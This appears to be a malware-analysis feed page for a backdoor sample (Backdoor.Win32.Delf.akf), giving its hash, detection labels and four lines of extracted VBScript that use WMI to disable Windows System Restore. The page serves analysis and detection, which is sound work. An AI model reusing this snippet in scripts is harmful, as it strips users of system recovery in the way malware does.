Benign Download

Backdoor.Win32.Delf.akf

WMI GetObject moniker invocationVBScript WMI process launcher
SHA-2569e10bcee30cbde0ecf4ca2e56da2f83806a7dbcd534bb7f6fbb41238c566f79c
MaleculeO(C)H(Os)

Evidence

WMI GetObject moniker invocation lines 1–4
1strComputer = "."
2Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\default")
3Set objItem = objWMIService.Get("SystemRestore")
4errResults = objItem.Disable("")

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.